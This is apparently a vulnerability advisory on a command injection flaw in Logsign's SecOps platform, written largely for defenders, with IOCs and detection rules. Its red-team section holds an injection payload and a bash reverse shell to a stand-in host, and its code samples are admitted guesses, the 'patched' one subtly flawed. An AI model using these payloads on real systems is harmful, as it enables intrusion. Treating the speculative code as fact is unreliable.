CVE-2024-5720

Executive Summary

CVE-2024-5720 is a critical command injection vulnerability in the Logsign Unified SecOps Platform. The flaw resides in the HTTP API, where user-supplied input is not properly validated before being used in a system call. Although authentication is required, the authentication mechanism can be bypassed, allowing an unauthenticated remote attacker to execute arbitrary commands as root. With a CVSS score of 8.8, this vulnerability poses a severe risk to affected deployments. No public proof-of-concept or patch details are currently available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (but can be bypassed to none)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is critical due to the potential for full system compromise without user interaction.

Deep Dive & Mechanics

The vulnerability exists in the HTTP API endpoint of Logsign Unified SecOps Platform. The application fails to sanitize user-supplied strings before passing them to a system call (e.g., exec(), system(), or similar). An attacker can inject arbitrary OS commands by crafting a malicious request to the vulnerable API endpoint.

The authentication bypass mechanism is not fully detailed but likely involves manipulating session tokens or exploiting weak authentication logic. Once authenticated (or bypassed), the attacker sends a specially crafted HTTP request containing command injection payloads. The server then executes these commands with root privileges, leading to full remote code execution.

Vulnerable vs. Patched Code

No patch details are available. The vulnerable code likely resembles:

import subprocess

def handle_api_request(user_input):
    # Vulnerable: user_input directly concatenated into command
    command = "some_command " + user_input
    subprocess.call(command, shell=True)

A patched version would validate and sanitize input, avoiding shell execution:

import subprocess
import shlex

def handle_api_request(user_input):
    # Patched: use shlex.quote to escape input
    safe_input = shlex.quote(user_input)
    command = ["some_command", safe_input]
    subprocess.call(command, shell=False)

Exploitation & Lab Setup

Red Team

1. Reconnaissance: Identify Logsign Unified SecOps Platform instances via Shodan dorks or banner grabbing.
2. Authentication Bypass: Attempt to bypass authentication using common techniques (e.g., session fixation, token manipulation).
3. Command Injection: Send a crafted HTTP request to the vulnerable API endpoint. Example payload:

POST /api/vulnerable-endpoint HTTP/1.1
Host: target.com
Content-Type: application/json

{"input": "; id; whoami; ls -la /"}

4. Escalate: Once command execution is confirmed, escalate to a full reverse shell:

# Reverse shell payload
{"input": "; bash -i >& /dev/tcp/attacker.com/4444 0>&1"}

Blue Team

1. Monitor HTTP API logs for unusual patterns, especially ;, |, &&, or $(...) in request parameters.
2. Deploy WAF rules to block command injection patterns.
3. Restrict network access to the Logsign API to trusted IPs only.
4. Implement input validation and use parameterized APIs instead of shell commands.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing shell metacharacters (;, |, &&, $(), backticks) in API parameters.
  • Outbound connections from Logsign server to unknown IPs on high ports (e.g., 4444, 1337).
• File IOCs:
  • Unexpected files in /tmp/ or /var/log/ with suspicious names.
  • Modified system binaries or scripts.
• Process IOCs:
  • Unusual processes spawned by the Logsign service (e.g., bash, nc, python).
  • High CPU usage from shell processes.

Detection Engineering

YARA Rule

rule CVE_2024_5720_CommandInjection {
    meta:
        description = "Detects command injection attempts targeting Logsign Unified SecOps Platform"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5720"
    strings:
        $cmd1 = /[;&|`$()]/
        $cmd2 = /(bash|sh|cmd|powershell|wget|curl|nc|python|perl)/
    condition:
        any of ($cmd1) and any of ($cmd2)
}

Sigma Rule

title: Logsign Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with command injection patterns targeting Logsign API
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&&'
            - '$('
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in input
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5720 Logsign Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/api/"; http_uri; pcre:"/[;&|`$()]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable the vulnerable HTTP API endpoint if not required. Restrict network access to the Logsign platform.
• Short-term: Apply input validation and sanitization to all API inputs. Use parameterized commands instead of shell execution.
• Long-term: Monitor vendor advisories for an official patch. Consider migrating to a different SIEM/SOAR platform if no patch is released.
• Compromise Assessment: Check for signs of exploitation using the IOCs and detection rules above.

Valters IT